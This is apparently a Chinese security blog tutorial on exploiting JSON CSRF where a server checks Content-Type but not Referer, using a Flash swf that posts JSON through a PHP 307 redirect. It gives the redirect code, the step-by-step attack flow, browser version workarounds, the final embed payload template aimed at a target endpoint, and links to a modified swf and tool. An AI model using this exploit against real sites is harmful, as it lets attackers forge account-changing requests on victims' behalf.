JSON CSRF(验证Content-Type)

# Content-Type: application/json; charset=utf-8 (在后端没有校验referer的情况下,但是确验证了application/json格式)

html调用外域的flash时,flash发送的请求的Referer是flash的,而不是html的。

利用flash的跨域 + 307跳转来构造POC

  • 能发起HTTP请求的swf文件(csrf_json.swf)
  • 307跳转(307.php)
  • 上面两个文件同域

创建一个swf 文件

《Json之Csrf漏洞之二》

如果Flash文件和重定向器页在同一个域上,则不需要交叉域文件。

 PHP FILE WITH 307 STATUS CODE:

<?php
header("Location: http://xxx.com/save", true, 307);
?>

攻击流程:Flash请求这个PHP文件,然后PHP重定向到目标URL,因为307是特殊的重定向,会接受从flash文件发起的的json数据,然后攻击成功。

案例:

《Json之Csrf漏洞之二》

修改个资料处,抓包

《Json之Csrf漏洞之二》

去掉Content-type

《Json之Csrf漏洞之二》

服务器响应结果,是验证Content-type

《Json之Csrf漏洞之二》

构造POC,通过FFdec工具修改swf文件(后附FFdec工具及swf文件)

《Json之Csrf漏洞之二》

配合修后的307跳转 来进行攻击

浏览器: Chrome Firefox

浏览器版本较低的 可直接运行修改后的swf文件完成攻击

Chrome 低于62版本可以直接执行,高于62的版本会变成文件下载

Firefox 低于52版本可以直接执行,高于57的版本会变成文件下载

高版本解决方法:

<embed src=''></embed>

json_csrf_POC:

http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]

最终构造:

<embed src='http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]'></embed>

《Json之Csrf漏洞之二》

访问构造页面 Burp抓包看详情

《Json之Csrf漏洞之二》

《Json之Csrf漏洞之二》

《Json之Csrf漏洞之二》

 

修改swf附件:

链接: https://pan.baidu.com/s/1j4cZVpyx2Op1ph4Xk0tpmg 提取码: dh3d (刮刮看)

 

github :  https://github.com/sp1d3r/swf_json_csrf